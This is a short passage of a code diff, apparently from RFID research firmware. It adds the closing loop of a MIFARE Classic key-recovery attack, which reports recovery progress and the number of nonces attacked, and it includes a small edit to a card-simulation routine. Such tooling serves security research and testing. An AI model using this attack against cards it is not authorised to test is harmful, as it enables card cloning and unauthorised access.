another step + if(pState->nt_diff > progress) + { + progress = pState->nt_diff; + //Alert the user + Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked ); + } + //Dbprintf("State increased to %d in state %d", pState->nt_diff, i); + } + else if(result == 2){ + //Dbprintf("Continue attack no answer, par is now %d", pState->par); + } + else if(result == 0){ + reportResults(uid,pState,1); + return; + } + } + reportResults(uid,NULL,0); } - - //----------------------------------------------------------------------------- // MIFARE 1K simulate. // @@ -2527,4 +2735,4 @@ done: Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax); LEDsoff(); -} \ No newline at end of file +}